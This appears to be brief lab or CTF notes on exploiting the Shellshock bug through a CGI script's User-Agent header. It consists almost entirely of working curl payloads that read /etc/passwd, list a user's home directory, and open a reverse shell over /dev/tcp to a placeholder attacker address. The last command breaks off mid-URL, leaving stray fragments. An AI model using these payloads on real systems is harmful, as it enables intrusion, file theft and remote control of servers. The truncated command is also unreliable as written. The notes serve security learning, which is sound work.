Shellshock!

To check if the site is vulnerable to Shellshock, we can run the following code: curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' example.com//cgi-bin/test.cgi Themasterdoctor Directory curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/ls -al /home/themasterdoctor/' bash -s :'' http://10.10.155.108//cgi-bin/test.cgi Reverse Connection: curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/YourIP/YourPort 0>&1' http:/

http://example.com/cgi-bin/test.cgi

g